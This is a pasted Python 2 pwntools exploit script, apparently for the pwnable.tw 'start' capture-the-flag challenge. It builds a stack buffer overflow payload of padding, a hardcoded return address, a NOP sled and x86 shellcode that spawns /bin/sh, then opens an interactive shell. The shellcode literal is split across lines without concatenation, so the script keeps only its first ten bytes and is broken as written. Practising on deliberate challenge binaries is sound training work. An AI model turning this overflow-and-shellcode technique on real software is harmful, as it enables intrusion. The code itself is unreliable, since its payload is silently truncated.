Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2017
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.41 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. # -*- coding: utf-8 -*-
  3.  
  4. from pwn import *
  5.  
  6. SHELLCODE = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
  7. "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
  8. "\x80";
  9.  
  10. EIP = p32(0xffffd254 - 80 - 80)
  11. NOPSLEP = "\x90" * 15
  12.  
  13. s = process('./start')
  14. #s = remote('chall.pwnable.tw', 10000)
  15.  
  16. PAYLOAD = "A" * 20 + EIP + NOPSLEP + SHELLCODE
  17.  
  18. s.readuntil(':')
  19. s.send(PAYLOAD)
  20. s.interactive('PWNED#')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement